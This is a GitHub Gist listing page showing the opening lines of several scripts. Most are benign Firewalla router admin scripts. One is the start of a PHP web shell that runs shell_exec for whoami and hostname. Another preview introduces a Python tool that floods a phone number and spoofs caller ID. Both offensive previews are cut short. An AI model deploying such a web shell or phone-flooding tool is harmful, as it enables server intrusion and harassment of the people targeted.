Skip to content

Instantly share code, notes, and snippets.

View C0ntr07's full-sized avatar
💭
Lurking in the dark areas of the internet

Chris Hewitt C0ntr07

💭
Lurking in the dark areas of the internet
  • Behind you
View GitHub Profile
#!/usr/bin/python
"""
advanced-flood.py
@author: Randall Degges
@email: rdegges@gmail.com
@date: 11-20-09
This program floods the specified phone number and spoofs caller ID making it
@C0ntr07
C0ntr07 / webshell.php
Created April 13, 2018 01:29 — forked from RyanKung/webshell.php
a simple webshell
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
$user = $_SESSION['user'];
@mbierman
mbierman / logspeed.sh
Last active January 25, 2024 14:26
Log speedtest results on Firewalla
#!/bin/bash
# https://gist.github.com/mbierman/6a32df2909202c373a6a39063181dc40
# v 0.4.1
BASEDIR=$(dirname $0)
IFTTTKEY="$(cat $BASEDIR/IFTTT.data | grep IFTTTKEY| cut -f2 -d "=" )"
EVENT="FWspeedtest"
log=/data/logs/logspeed.log
@mbierman
mbierman / addremotesyslog.sh
Last active May 27, 2024 10:35
Add a remote syslog server to Firewalla
#!/bin/bash
# v 2.1.0
syslog=/etc/rsyslog.d/09-externalserver.conf
# this logs notice and above. use *.* log everything.
filter=*.notice
server=192.168.0.19 # Change the server to the IP of your syslog server.
port=514
hostname=firewalla
valid=$(grep "$server:$port" $syslog 2>/dev/null)
@mbierman
mbierman / resetdocker.sh
Created April 12, 2022 19:35
Reset Dockers on Firewalla
#!/bin/bash
echo Running installer
read -p "Do you want to continue? (y|n) ? " -n 1 -r
if [[ $REPLY =~ ^[Yy]$ ]]; then
sudo su -
systemctl stop docker-compose@*
systemctl stop docker
cd /var/lib/docker/